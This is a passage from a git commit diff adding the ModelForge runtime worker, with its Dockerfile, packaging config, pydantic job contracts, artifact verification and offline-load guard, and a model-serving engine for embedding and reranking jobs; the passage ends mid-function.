Initial public ModelForge release
This commit is contained in:
Jens
@@ -0,0 +1,40 @@
|
||||
FROM pytorch/pytorch:2.7.1-cuda12.8-cudnn9-runtime@sha256:c16f4c749e2d9e96878875cdf6cc45cddda1d1a36fddd371dd6f2360f1b6e2a2
|
||||
|
||||
ARG MODELFORGE_VERSION=0.0.0
|
||||
ARG MODELFORGE_COMMIT=""
|
||||
ARG MODELFORGE_BUILT_AT=""
|
||||
ENV PYTHONDONTWRITEBYTECODE=1 \
|
||||
PYTHONUNBUFFERED=1 \
|
||||
MODELFORGE_BUILD_COMMIT=${MODELFORGE_COMMIT} \
|
||||
MODELFORGE_BUILD_TIMESTAMP=${MODELFORGE_BUILT_AT} \
|
||||
HF_HUB_OFFLINE=1 \
|
||||
TRANSFORMERS_OFFLINE=1 \
|
||||
HF_DATASETS_OFFLINE=1 \
|
||||
TOKENIZERS_PARALLELISM=false \
|
||||
HF_HOME=/tmp/huggingface
|
||||
|
||||
LABEL org.opencontainers.image.title="ITWorx ModelForge runtime worker"
|
||||
LABEL org.opencontainers.image.description="Private typed model runtime for ITWorx ModelForge"
|
||||
LABEL org.opencontainers.image.version="${MODELFORGE_VERSION}"
|
||||
LABEL org.opencontainers.image.revision="${MODELFORGE_COMMIT}"
|
||||
LABEL org.opencontainers.image.created="${MODELFORGE_BUILT_AT}"
|
||||
LABEL org.opencontainers.image.source="https://git.example.com/example/modelforge.git"
|
||||
LABEL org.opencontainers.image.vendor="ITWorx"
|
||||
LABEL org.opencontainers.image.licenses="AGPL-3.0-or-later"
|
||||
|
||||
WORKDIR /build
|
||||
COPY runtime-worker ./runtime-worker
|
||||
RUN apt-get update \
|
||||
&& DEBIAN_FRONTEND=noninteractive apt-get upgrade --yes \
|
||||
&& pip install --no-cache-dir './runtime-worker[inference]' \
|
||||
&& DEBIAN_FRONTEND=noninteractive apt-get purge --yes linux-libc-dev \
|
||||
&& rm -rf /var/lib/apt/lists/* \
|
||||
&& pip check \
|
||||
&& groupadd --system modelforge-runtime \
|
||||
&& useradd --system --gid modelforge-runtime --home /app modelforge-runtime \
|
||||
&& mkdir -p /app /tmp/huggingface \
|
||||
&& chown -R modelforge-runtime:modelforge-runtime /app /tmp/huggingface
|
||||
|
||||
USER modelforge-runtime
|
||||
WORKDIR /app
|
||||
CMD ["modelforge-runtime-worker"]
|
||||
@@ -0,0 +1,76 @@
|
||||
[build-system]
|
||||
requires = ["setuptools==80.9.0"]
|
||||
build-backend = "setuptools.build_meta"
|
||||
|
||||
[project]
|
||||
name = "modelforge-runtime-worker"
|
||||
version = "1.2.2"
|
||||
license = "AGPL-3.0-or-later"
|
||||
requires-python = ">=3.11"
|
||||
dependencies = [
|
||||
"httpx==0.28.1",
|
||||
"nvidia-ml-py==13.580.65",
|
||||
"numpy==2.1.2",
|
||||
"Pillow==12.3.0",
|
||||
"protobuf==5.29.6",
|
||||
"pydantic==2.13.4",
|
||||
"pydantic-settings==2.10.1",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
# The inference stack. Imported lazily inside the adapter rather than at module scope, so the
|
||||
# worker's own tests, lint and type check do not need several gigabytes of PyTorch present. The
|
||||
# runtime image installs this extra; CI does not, which is the difference between a validation run
|
||||
# that takes a minute and one that takes twenty.
|
||||
inference = [
|
||||
# Security pins include packages inherited from the PyTorch runtime image. Keeping them here
|
||||
# makes the final runtime environment reproducible and prevents an old base package from
|
||||
# satisfying an unconstrained transitive dependency.
|
||||
"Brotli==1.2.0",
|
||||
"jaraco.context==6.1.2",
|
||||
"msgpack==1.2.2",
|
||||
"sentencepiece==0.2.2",
|
||||
"sentence-transformers==6.0.1",
|
||||
"setuptools==84.0.0",
|
||||
"soupsieve==2.9.2",
|
||||
"transformers==5.16.1",
|
||||
"urllib3==2.7.0",
|
||||
"wheel==0.48.0",
|
||||
]
|
||||
dev = [
|
||||
"pytest==8.4.2",
|
||||
"ruff==0.16.5",
|
||||
"mypy==1.20.2",
|
||||
]
|
||||
|
||||
[project.scripts]
|
||||
modelforge-runtime-worker = "modelforge_runtime_worker.main:main"
|
||||
|
||||
[tool.setuptools.packages.find]
|
||||
where = ["src"]
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
pythonpath = ["src"]
|
||||
testpaths = ["tests"]
|
||||
|
||||
[tool.mypy]
|
||||
# The images run on Linux, so that is the platform the type check must analyse. Checking on the
|
||||
# developer's platform meant Windows-only branches were analysed and Linux-only ones were not —
|
||||
# a winreg block type-checked cleanly here and failed in CI on identical code.
|
||||
platform = "linux"
|
||||
python_version = "3.11"
|
||||
strict = true
|
||||
|
||||
[[tool.mypy.overrides]]
|
||||
module = ["numpy", "numpy.*", "PIL", "PIL.*", "pynvml", "sentence_transformers", "torch", "torch.*"]
|
||||
ignore_missing_imports = true
|
||||
|
||||
[tool.ruff]
|
||||
target-version = "py311"
|
||||
line-length = 100
|
||||
|
||||
[tool.ruff.lint]
|
||||
select = ["E", "F", "I", "B", "UP", "S"]
|
||||
|
||||
[tool.ruff.lint.per-file-ignores]
|
||||
"tests/*" = ["S101"]
|
||||
@@ -0,0 +1 @@
|
||||
__version__ = "1.2.2"
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,146 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import uuid
|
||||
from datetime import datetime
|
||||
from typing import Any, Literal
|
||||
|
||||
from pydantic import BaseModel, ConfigDict, Field, model_validator
|
||||
|
||||
|
||||
class WireModel(BaseModel):
|
||||
"""Versioned runtime-worker wire contract; never accepts server-supplied commands."""
|
||||
|
||||
model_config = ConfigDict(extra="forbid")
|
||||
|
||||
|
||||
class AgentRuntimeProbeLease(WireModel):
|
||||
probe_id: uuid.UUID
|
||||
lease_token: str = Field(min_length=32, max_length=512)
|
||||
lease_expires_at: datetime
|
||||
artifact_set_id: uuid.UUID
|
||||
revision_sha: str = Field(pattern=r"^[a-f0-9]{40,64}$")
|
||||
artifact_root: str
|
||||
artifact_relative_path: str
|
||||
expected_manifest: dict[str, Any]
|
||||
runtime_profile: dict[str, Any]
|
||||
runtime_environment: dict[str, Any]
|
||||
probe_input: Literal["ModelForge runtime compatibility probe"]
|
||||
|
||||
|
||||
class AgentRuntimeProbeProgress(WireModel):
|
||||
lease_token: str = Field(min_length=32, max_length=512)
|
||||
status: Literal["preparing", "loading", "healthchecking", "ready", "unloading"]
|
||||
details: dict[str, Any] = Field(default_factory=dict)
|
||||
|
||||
|
||||
class AgentRuntimeProbeComplete(WireModel):
|
||||
lease_token: str = Field(min_length=32, max_length=512)
|
||||
load_result: dict[str, Any]
|
||||
health_result: dict[str, Any]
|
||||
inference_result: dict[str, Any]
|
||||
unload_result: dict[str, Any]
|
||||
measured_resources: dict[str, Any]
|
||||
runtime_facts: dict[str, Any]
|
||||
environment_fingerprint: str = Field(pattern=r"^[a-f0-9]{64}$")
|
||||
|
||||
|
||||
class AgentRuntimeProbeFailure(WireModel):
|
||||
lease_token: str = Field(min_length=32, max_length=512)
|
||||
failure_code: str = Field(min_length=1, max_length=64)
|
||||
failure_message: str = Field(min_length=1, max_length=2000)
|
||||
details: dict[str, Any] = Field(default_factory=dict)
|
||||
|
||||
|
||||
class AgentServingJobLease(WireModel):
|
||||
job_id: uuid.UUID
|
||||
lease_token: str = Field(min_length=32, max_length=512)
|
||||
lease_expires_at: datetime
|
||||
operation: Literal["load", "invoke", "health", "drain", "unload"]
|
||||
deployment_id: uuid.UUID
|
||||
artifact_set_id: uuid.UUID
|
||||
revision_sha: str = Field(pattern=r"^[a-f0-9]{40,64}$")
|
||||
artifact_root: str
|
||||
artifact_relative_path: str
|
||||
expected_manifest: dict[str, Any]
|
||||
runtime_profile: dict[str, Any]
|
||||
runtime_environment: dict[str, Any]
|
||||
capability: Literal[
|
||||
"rag.embedding",
|
||||
"rag.reranking",
|
||||
"document.ocr",
|
||||
"vision.embedding",
|
||||
"speech.transcription",
|
||||
] = "rag.embedding"
|
||||
embedding_space_id: uuid.UUID | None = None
|
||||
expected_dimension: int | None = Field(default=None, ge=32, le=8192)
|
||||
normalize: Literal[True] | None = True
|
||||
input: list[str] | None = None
|
||||
input_type: Literal["raw", "query", "document"] = "raw"
|
||||
rerank_query: str | None = None
|
||||
rerank_documents: list[dict[str, str]] | None = None
|
||||
top_n: int | None = Field(default=None, ge=1, le=10)
|
||||
modality_payload: dict[str, Any] | None = None
|
||||
request_id: uuid.UUID | None = None
|
||||
|
||||
@model_validator(mode="after")
|
||||
def validate_capability_payload(self) -> AgentServingJobLease:
|
||||
if self.operation != "invoke":
|
||||
return self
|
||||
if self.capability == "rag.embedding":
|
||||
if (
|
||||
self.embedding_space_id is None
|
||||
or self.expected_dimension is None
|
||||
or self.input is None
|
||||
):
|
||||
raise ValueError("embedding invoke requires embedding identity and input")
|
||||
elif self.capability == "rag.reranking" and (
|
||||
self.rerank_query is None or self.rerank_documents is None or self.top_n is None
|
||||
):
|
||||
raise ValueError("reranking invoke requires query, documents and top_n")
|
||||
elif self.capability not in {"rag.embedding", "rag.reranking"} and (
|
||||
self.modality_payload is None or self.input is not None or self.rerank_query is not None
|
||||
):
|
||||
raise ValueError("modality invoke requires a typed modality payload")
|
||||
return self
|
||||
|
||||
|
||||
class AgentServingJobComplete(WireModel):
|
||||
lease_token: str = Field(min_length=32, max_length=512)
|
||||
worker_instance_id: str = Field(min_length=1, max_length=255)
|
||||
state: str
|
||||
result: dict[str, Any] = Field(default_factory=dict)
|
||||
metrics: dict[str, Any] = Field(default_factory=dict)
|
||||
health: dict[str, Any] = Field(default_factory=dict)
|
||||
runtime_facts: dict[str, Any] = Field(default_factory=dict)
|
||||
|
||||
|
||||
class AgentServingJobFailure(WireModel):
|
||||
lease_token: str = Field(min_length=32, max_length=512)
|
||||
worker_instance_id: str = Field(min_length=1, max_length=255)
|
||||
failure_code: str = Field(min_length=1, max_length=64)
|
||||
failure_message: str = Field(min_length=1, max_length=2000)
|
||||
state: str = "failed"
|
||||
details: dict[str, Any] = Field(default_factory=dict)
|
||||
|
||||
|
||||
class AgentResidentState(WireModel):
|
||||
deployment_id: uuid.UUID
|
||||
artifact_set_id: uuid.UUID
|
||||
runtime_profile_id: uuid.UUID
|
||||
runtime_environment_fingerprint: str = Field(pattern=r"^[a-f0-9]{64}$")
|
||||
revision_sha: str = Field(pattern=r"^[a-f0-9]{40,64}$")
|
||||
state: Literal["loading", "warm", "busy", "draining", "unloading", "failed"]
|
||||
load_count: int = Field(ge=1)
|
||||
resident_vram_bytes: int = Field(ge=0)
|
||||
health: dict[str, Any] = Field(default_factory=dict)
|
||||
|
||||
|
||||
class AgentServingStateReport(WireModel):
|
||||
worker_instance_id: str = Field(min_length=1, max_length=255)
|
||||
deployment_id: uuid.UUID | None
|
||||
state: Literal["cold", "loading", "warm", "busy", "draining", "unloading", "failed"]
|
||||
load_count: int = Field(ge=0)
|
||||
health: dict[str, Any] = Field(default_factory=dict)
|
||||
observed_at: datetime
|
||||
generation: int = Field(default=1, ge=1)
|
||||
residencies: list[AgentResidentState] = Field(default_factory=list, max_length=32)
|
||||
@@ -0,0 +1,30 @@
|
||||
import logging
|
||||
import time
|
||||
|
||||
import httpx
|
||||
|
||||
from modelforge_runtime_worker.settings import RuntimeWorkerSettings
|
||||
from modelforge_runtime_worker.worker import RuntimeWorker
|
||||
|
||||
|
||||
def main() -> None:
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
settings = RuntimeWorkerSettings()
|
||||
worker = RuntimeWorker(settings)
|
||||
backoff = 1
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
worked = worker.run_once()
|
||||
backoff = 1
|
||||
time.sleep(0.1 if worked else settings.idle_retry_seconds)
|
||||
except (httpx.HTTPError, OSError, RuntimeError, ValueError):
|
||||
logging.warning("runtime probe poll failed; retrying")
|
||||
time.sleep(backoff)
|
||||
backoff = min(backoff * 2, settings.max_backoff_seconds)
|
||||
finally:
|
||||
worker.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,171 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import contextlib
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import socket
|
||||
import time
|
||||
from collections.abc import Iterator
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
|
||||
class ProbeFailure(RuntimeError):
|
||||
def __init__(self, code: str, message: str) -> None:
|
||||
super().__init__(message)
|
||||
self.code = code
|
||||
|
||||
|
||||
def canonical_hash(payload: Any) -> str:
|
||||
raw = json.dumps(payload, sort_keys=True, separators=(",", ":"), default=str)
|
||||
return hashlib.sha256(raw.encode()).hexdigest()
|
||||
|
||||
|
||||
def confined(base: Path, relative: str) -> Path:
|
||||
path = Path(relative.replace("\\", "/"))
|
||||
if path.is_absolute() or ".." in path.parts:
|
||||
raise ProbeFailure("ARTIFACT_PATH_INVALID", "artifact path is not confined")
|
||||
root = base.resolve()
|
||||
resolved = (root / path).resolve()
|
||||
if resolved != root and root not in resolved.parents:
|
||||
raise ProbeFailure("ARTIFACT_PATH_INVALID", "artifact path escaped the verified root")
|
||||
if resolved.is_symlink():
|
||||
raise ProbeFailure("ARTIFACT_PATH_INVALID", "artifact directory cannot be a symlink")
|
||||
return resolved
|
||||
|
||||
|
||||
def hash_file(path: Path) -> tuple[str, int]:
|
||||
digest = hashlib.sha256()
|
||||
size = 0
|
||||
with path.open("rb") as handle:
|
||||
for chunk in iter(lambda: handle.read(1024 * 1024), b""):
|
||||
digest.update(chunk)
|
||||
size += len(chunk)
|
||||
return digest.hexdigest(), size
|
||||
|
||||
|
||||
def verify_artifacts(root: Path, expected: dict[str, Any]) -> None:
|
||||
if not root.is_dir():
|
||||
raise ProbeFailure("ARTIFACT_INCOMPLETE", "verified artifact directory is missing")
|
||||
for item in expected.get("files", []):
|
||||
path = confined(root, str(item["path"]))
|
||||
if not path.is_file() or path.is_symlink():
|
||||
raise ProbeFailure(
|
||||
"ARTIFACT_INCOMPLETE", f"required artifact is missing: {item['path']}"
|
||||
)
|
||||
digest, size = hash_file(path)
|
||||
if size != int(item["size_bytes"]) or digest != item["sha256"]:
|
||||
raise ProbeFailure("ARTIFACT_CORRUPT", f"artifact verification failed: {item['path']}")
|
||||
|
||||
|
||||
def gpu_sample() -> dict[str, Any]:
|
||||
import pynvml
|
||||
|
||||
pynvml.nvmlInit()
|
||||
try:
|
||||
handle = pynvml.nvmlDeviceGetHandleByIndex(0)
|
||||
memory = pynvml.nvmlDeviceGetMemoryInfo(handle)
|
||||
utilization = pynvml.nvmlDeviceGetUtilizationRates(handle)
|
||||
# NVML reports host PIDs, which do not match PIDs in a container's
|
||||
# private namespace. The CUDA allocator is authoritative for model
|
||||
# memory owned by this worker; NVML remains the native-process fallback.
|
||||
process_used = 0
|
||||
try:
|
||||
import torch
|
||||
|
||||
if torch.cuda.is_initialized():
|
||||
process_used = int(torch.cuda.memory_reserved())
|
||||
except (ImportError, RuntimeError):
|
||||
process_used = next(
|
||||
(
|
||||
int(process.usedGpuMemory)
|
||||
for process in pynvml.nvmlDeviceGetComputeRunningProcesses(handle)
|
||||
if int(process.pid) == os.getpid()
|
||||
),
|
||||
0,
|
||||
)
|
||||
return {
|
||||
"gpu_uuid": str(pynvml.nvmlDeviceGetUUID(handle)),
|
||||
"gpu_name": str(pynvml.nvmlDeviceGetName(handle)),
|
||||
"used_vram_bytes": int(memory.used),
|
||||
"process_used_vram_bytes": process_used,
|
||||
"free_vram_bytes": int(memory.free),
|
||||
"gpu_utilization_percent": int(utilization.gpu),
|
||||
"temperature_c": int(
|
||||
pynvml.nvmlDeviceGetTemperature(handle, pynvml.NVML_TEMPERATURE_GPU)
|
||||
),
|
||||
"power_draw_w": float(pynvml.nvmlDeviceGetPowerUsage(handle)) / 1000,
|
||||
"observed_monotonic": time.monotonic(),
|
||||
}
|
||||
finally:
|
||||
pynvml.nvmlShutdown()
|
||||
|
||||
|
||||
@contextlib.contextmanager
|
||||
def deny_external_network() -> Iterator[None]:
|
||||
original_connect = socket.socket.connect
|
||||
|
||||
def guarded_connect(sock: socket.socket, address: Any) -> Any:
|
||||
if sock.family in {socket.AF_INET, socket.AF_INET6}:
|
||||
raise ProbeFailure(
|
||||
"OFFLINE_LOAD_VIOLATION", "runtime attempted external network access"
|
||||
)
|
||||
return original_connect(sock, address)
|
||||
|
||||
socket.socket.connect = guarded_connect # type: ignore[assignment]
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
socket.socket.connect = original_connect # type: ignore[method-assign]
|
||||
|
||||
|
||||
def run_sentence_transformers_probe(model_path: Path, lease: dict[str, Any]) -> dict[str, Any]:
|
||||
from modelforge_runtime_worker.adapters import adapter_for
|
||||
|
||||
profile = lease["runtime_profile"]
|
||||
adapter = adapter_for(str(profile["adapter"]))
|
||||
adapter.inspect_support(lease)
|
||||
adapter.prepare()
|
||||
adapter.start(model_path, profile)
|
||||
inference = adapter.probe(str(lease["probe_input"]))
|
||||
health = adapter.health()
|
||||
facts = adapter.collect_runtime_facts(lease)
|
||||
result = {
|
||||
"load_result": {
|
||||
"status": "passed",
|
||||
"load_time_ms": float(getattr(adapter, "load_time_ms", 0.0)),
|
||||
},
|
||||
"health_result": health,
|
||||
"inference_result": inference,
|
||||
"measured_resources": adapter.measured_resources(profile),
|
||||
"runtime_facts": facts,
|
||||
"environment_fingerprint": canonical_hash(facts),
|
||||
}
|
||||
adapter.stop()
|
||||
adapter.unload()
|
||||
return result
|
||||
|
||||
|
||||
def child_entry(lease: dict[str, Any], model_path: str, queue: Any) -> None:
|
||||
try:
|
||||
queue.put({"type": "phase", "value": "loading"})
|
||||
result = run_sentence_transformers_probe(Path(model_path), lease)
|
||||
queue.put({"type": "phase", "value": "healthchecking"})
|
||||
queue.put({"type": "result", "value": result})
|
||||
except ProbeFailure as exc:
|
||||
queue.put({"type": "failure", "code": exc.code, "message": str(exc)})
|
||||
except torch_error_types() as exc:
|
||||
code = "GPU_OOM" if "out of memory" in str(exc).lower() else "MODEL_LOAD_FAILED"
|
||||
queue.put({"type": "failure", "code": code, "message": type(exc).__name__})
|
||||
except Exception as exc: # noqa: BLE001 - process boundary normalizes all runtime failures.
|
||||
queue.put({"type": "failure", "code": "RUNTIME_CRASH", "message": type(exc).__name__})
|
||||
|
||||
|
||||
def torch_error_types() -> tuple[type[BaseException], ...]:
|
||||
try:
|
||||
import torch
|
||||
|
||||
return (RuntimeError, torch.cuda.OutOfMemoryError)
|
||||
except ImportError:
|
||||
return (RuntimeError,)
|
||||
@@ -0,0 +1,415 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import socket
|
||||
import time
|
||||
import uuid
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
from modelforge_runtime_worker.adapters import (
|
||||
QwenRerankerAdapter,
|
||||
RuntimeAdapter,
|
||||
SentenceTransformersAdapter,
|
||||
adapter_for,
|
||||
)
|
||||
from modelforge_runtime_worker.contracts import (
|
||||
AgentResidentState,
|
||||
AgentServingJobComplete,
|
||||
AgentServingJobFailure,
|
||||
AgentServingJobLease,
|
||||
AgentServingStateReport,
|
||||
)
|
||||
from modelforge_runtime_worker.probe import ProbeFailure, confined, gpu_sample, verify_artifacts
|
||||
|
||||
|
||||
@dataclass
|
||||
class ResidentSlot:
|
||||
deployment_id: uuid.UUID
|
||||
adapter: RuntimeAdapter
|
||||
artifact_set_id: uuid.UUID
|
||||
runtime_profile_id: str
|
||||
runtime_environment_fingerprint: str
|
||||
revision_sha: str
|
||||
state: str = "warm"
|
||||
load_count: int = 1
|
||||
health: dict[str, Any] = field(default_factory=dict)
|
||||
baseline_vram_bytes: int = 0
|
||||
loaded_vram_bytes: int = 0
|
||||
baseline_process_vram_bytes: int = 0
|
||||
loaded_process_vram_bytes: int = 0
|
||||
|
||||
|
||||
class ServingEngine:
|
||||
"""Bounded typed multi-residency worker; never an arbitrary model server."""
|
||||
|
||||
def __init__(self, artifact_root: Path, reclaim_tolerance_bytes: int) -> None:
|
||||
self.artifact_root = artifact_root.resolve()
|
||||
self.reclaim_tolerance_bytes = reclaim_tolerance_bytes
|
||||
self.worker_instance_id = f"{socket.gethostname()}-{uuid.uuid4()}"
|
||||
self.generation = int(time.time_ns())
|
||||
self.slots: dict[uuid.UUID, ResidentSlot] = {}
|
||||
self._transition_state = "cold"
|
||||
self._last_deployment_id: uuid.UUID | None = None
|
||||
self._cold_health: dict[str, Any] = {
|
||||
"process": "healthy",
|
||||
"runtime": "unavailable",
|
||||
"model": "unavailable",
|
||||
"capability": "ready_on_demand",
|
||||
}
|
||||
|
||||
@property
|
||||
def deployment_id(self) -> uuid.UUID | None:
|
||||
return self._last_deployment_id if self._last_deployment_id in self.slots else None
|
||||
|
||||
@property
|
||||
def adapter(self) -> RuntimeAdapter | None:
|
||||
slot = self.slots.get(self.deployment_id) if self.deployment_id else None
|
||||
return slot.adapter if slot else None
|
||||
|
||||
@property
|
||||
def state(self) -> str:
|
||||
if self._transition_state in {"loading", "draining", "unloading", "failed"}:
|
||||
return self._transition_state
|
||||
states = {slot.state for slot in self.slots.values()}
|
||||
return "busy" if "busy" in states else ("warm" if states else "cold")
|
||||
|
||||
@property
|
||||
def load_count(self) -> int:
|
||||
return sum(slot.load_count for slot in self.slots.values())
|
||||
|
||||
@property
|
||||
def health(self) -> dict[str, Any]:
|
||||
if not self.slots:
|
||||
return self._cold_health
|
||||
return {
|
||||
"process": "healthy",
|
||||
"runtime": "healthy",
|
||||
"model": "healthy",
|
||||
"capability": "healthy",
|
||||
"resident_count": len(self.slots),
|
||||
}
|
||||
|
||||
def state_report(self) -> AgentServingStateReport:
|
||||
return AgentServingStateReport(
|
||||
worker_instance_id=self.worker_instance_id,
|
||||
deployment_id=self.deployment_id,
|
||||
state=self.state, # type: ignore[arg-type]
|
||||
load_count=self.load_count,
|
||||
health=self.health,
|
||||
observed_at=datetime.now(UTC),
|
||||
generation=self.generation,
|
||||
residencies=[
|
||||
AgentResidentState(
|
||||
deployment_id=slot.deployment_id,
|
||||
state=slot.state, # type: ignore[arg-type]
|
||||
load_count=slot.load_count,
|
||||
health=slot.health,
|
||||
resident_vram_bytes=max(
|
||||
0, slot.loaded_process_vram_bytes - slot.baseline_process_vram_bytes
|
||||
),
|
||||
artifact_set_id=slot.artifact_set_id,
|
||||
runtime_profile_id=uuid.UUID(slot.runtime_profile_id),
|
||||
runtime_environment_fingerprint=slot.runtime_environment_fingerprint,
|
||||
revision_sha=slot.revision_sha,
|
||||
)
|
||||
for slot in self.slots.values()
|
||||
],
|
||||
)
|
||||
|
||||
def _model_path(self, lease: AgentServingJobLease) -> Path:
|
||||
if Path(lease.artifact_root).resolve() != self.artifact_root:
|
||||
raise ProbeFailure(
|
||||
"ARTIFACT_PATH_INVALID", "server artifact root differs from worker root"
|
||||
)
|
||||
return confined(self.artifact_root, lease.artifact_relative_path)
|
||||
|
||||
def _load(self, lease: AgentServingJobLease) -> tuple[dict[str, Any], dict[str, Any]]:
|
||||
existing = self.slots.get(lease.deployment_id)
|
||||
if existing:
|
||||
self._last_deployment_id = lease.deployment_id
|
||||
return (
|
||||
{"already_resident": True},
|
||||
{
|
||||
"load_time_ms": 0.0,
|
||||
"baseline_vram_bytes": existing.baseline_vram_bytes,
|
||||
"loaded_vram_bytes": existing.loaded_vram_bytes,
|
||||
"baseline_process_vram_bytes": existing.baseline_process_vram_bytes,
|
||||
"loaded_process_vram_bytes": existing.loaded_process_vram_bytes,
|
||||
},
|
||||
)
|
||||
model_path = self._model_path(lease)
|
||||
verify_artifacts(model_path, lease.expected_manifest)
|
||||
self._transition_state = "loading"
|
||||
adapter = adapter_for(str(lease.runtime_profile["adapter"]))
|
||||
adapter.inspect_support(lease.model_dump(mode="json"))
|
||||
adapter.prepare()
|
||||
adapter.start(model_path, lease.runtime_profile)
|
||||
if lease.capability == "rag.embedding":
|
||||
if not isinstance(adapter, SentenceTransformersAdapter):
|
||||
raise ProbeFailure("RUNTIME_INCOMPATIBLE", "embedding adapter is invalid")
|
||||
health_input_type = (
|
||||
"document"
|
||||
if lease.runtime_profile.get("launch_parameters", {}).get(
|
||||
"embedding_input_semantics"
|
||||
)
|
||||
else "raw"
|
||||
)
|
||||
health_probe = adapter.invoke(
|
||||
["ModelForge capability functional health probe"],
|
||||
input_type=health_input_type,
|
||||
)
|
||||
if (
|
||||
health_probe["dimension"] != lease.expected_dimension
|
||||
or health_probe["finite"] is not True
|
||||
or health_probe["normalized"] is not True
|
||||
):
|
||||
adapter.unload()
|
||||
raise ProbeFailure("HEALTHCHECK_FAILED", "functional embedding health probe failed")
|
||||
health_summary = {"functional_health_dimension": health_probe["dimension"]}
|
||||
elif lease.capability == "rag.reranking":
|
||||
if not isinstance(adapter, QwenRerankerAdapter):
|
||||
raise ProbeFailure("RUNTIME_INCOMPATIBLE", "reranker adapter is invalid")
|
||||
health_probe = adapter.probe("ModelForge local reranking health query")
|
||||
if health_probe.get("finite") is not True or health_probe.get("count") != 1:
|
||||
adapter.unload()
|
||||
raise ProbeFailure("HEALTHCHECK_FAILED", "functional reranking health probe failed")
|
||||
health_summary = {"functional_health_ranking": True}
|
||||
else:
|
||||
health_probe = adapter.probe("ModelForge specialized capability health probe")
|
||||
expected_output = {
|
||||
"document.ocr": "ocr_text",
|
||||
"vision.embedding": "float_vector",
|
||||
"speech.transcription": "transcription",
|
||||
}[lease.capability]
|
||||
if (
|
||||
health_probe.get("status") != "passed"
|
||||
or health_probe.get("output_type") != expected_output
|
||||
):
|
||||
adapter.unload()
|
||||
raise ProbeFailure("HEALTHCHECK_FAILED", "specialized functional probe failed")
|
||||
health_summary = {"functional_health_output_type": expected_output}
|
||||
health = {
|
||||
"process": "healthy",
|
||||
"runtime": "healthy",
|
||||
"model": "healthy",
|
||||
"capability": "healthy",
|
||||
}
|
||||
slot = ResidentSlot(
|
||||
deployment_id=lease.deployment_id,
|
||||
adapter=adapter,
|
||||
artifact_set_id=lease.artifact_set_id,
|
||||
runtime_profile_id=str(lease.runtime_profile.get("id", "")),
|
||||
runtime_environment_fingerprint=str(lease.runtime_environment.get("fingerprint", "")),
|
||||
revision_sha=lease.revision_sha,
|
||||
health=health,
|
||||
baseline_vram_bytes=int(adapter.before["used_vram_bytes"]),
|
||||
loaded_vram_bytes=int(adapter.loaded["used_vram_bytes"]),
|
||||
baseline_process_vram_bytes=int(adapter.before["process_used_vram_bytes"]),
|
||||
loaded_process_vram_bytes=int(adapter.loaded["process_used_vram_bytes"]),
|
||||
)
|
||||
self.slots[lease.deployment_id] = slot
|
||||
self._last_deployment_id = lease.deployment_id
|
||||
self._transition_state = "warm"
|
||||
return (
|
||||
health_summary,
|
||||
{
|
||||
"load_time_ms": adapter.load_time_ms,
|
||||
"baseline_vram_bytes": slot.baseline_vram_bytes,
|
||||
"loaded_vram_bytes": slot.loaded_vram_bytes,
|
||||
"baseline_process_vram_bytes": slot.baseline_process_vram_bytes,
|
||||
"loaded_process_vram_bytes": slot.loaded_process_vram_bytes,
|
||||
"health_inference_time_ms": float(
|
||||
health_probe.get("inference_time_ms", health_probe.get("latency_ms", 0.0))
|
||||
),
|
||||
},
|
||||
)
|
||||
|
||||
def _invoke(self, lease: AgentServingJobLease) -> tuple[dict[str, Any], dict[str, Any]]:
|
||||
slot = self.slots.get(lease.deployment_id)
|
||||
if slot is None:
|
||||
raise ProbeFailure("RESIDENCY_LOAD_FAILED", "deployment is not resident")
|
||||
self._last_deployment_id = lease.deployment_id
|
||||
slot.state = "busy"
|
||||
adapter = slot.adapter
|
||||
if lease.capability == "rag.embedding":
|
||||
if not lease.input or not isinstance(adapter, SentenceTransformersAdapter):
|
||||
raise ProbeFailure("INVALID_INPUT", "embedding invoke job has no valid input")
|
||||
result = adapter.invoke(lease.input, input_type=lease.input_type)
|
||||
if (
|
||||
result["dimension"] != lease.expected_dimension
|
||||
or result["finite"] is not True
|
||||
or result["normalized"] is not True
|
||||
):
|
||||
slot.state = "warm"
|
||||
raise ProbeFailure(
|
||||
"INVALID_OUTPUT", "embedding output violated capability contract"
|
||||
)
|
||||
elif lease.capability == "rag.reranking":
|
||||
if (
|
||||
not lease.rerank_query
|
||||
or not lease.rerank_documents
|
||||
or lease.top_n is None
|
||||
or not isinstance(adapter, QwenRerankerAdapter)
|
||||
):
|
||||
raise ProbeFailure("INVALID_INPUT", "reranking invoke payload is invalid")
|
||||
result = adapter.rerank(lease.rerank_query, lease.rerank_documents, lease.top_n)
|
||||
if result.get("finite") is not True or len(result.get("results", [])) != lease.top_n:
|
||||
slot.state = "warm"
|
||||
raise ProbeFailure("INVALID_OUTPUT", "reranker output violated capability contract")
|
||||
else:
|
||||
if lease.modality_payload is None:
|
||||
raise ProbeFailure("INVALID_INPUT", "modality invoke payload is missing")
|
||||
result = adapter.invoke_modality(lease.modality_payload)
|
||||
expected_output = {
|
||||
"document.ocr": "ocr_text",
|
||||
"vision.embedding": "float_vector",
|
||||
"speech.transcription": "transcription",
|
||||
}[lease.capability]
|
||||
if result.get("output_type") != expected_output:
|
||||
slot.state = "warm"
|
||||
raise ProbeFailure("INVALID_OUTPUT", "specialized output violated its contract")
|
||||
slot.state = "warm"
|
||||
slot.health = {
|
||||
"process": "healthy",
|
||||
"runtime": "healthy",
|
||||
"model": "healthy",
|
||||
"capability": "healthy",
|
||||
}
|
||||
timings = result.get("timings", {})
|
||||
return result, {
|
||||
"inference_time_ms": result["inference_time_ms"],
|
||||
"preprocess_time_ms": float(timings.get("preprocess_ms", 0.0)),
|
||||
"serialization_time_ms": float(timings.get("serialization_ms", 0.0)),
|
||||
"worker_total_time_ms": float(
|
||||
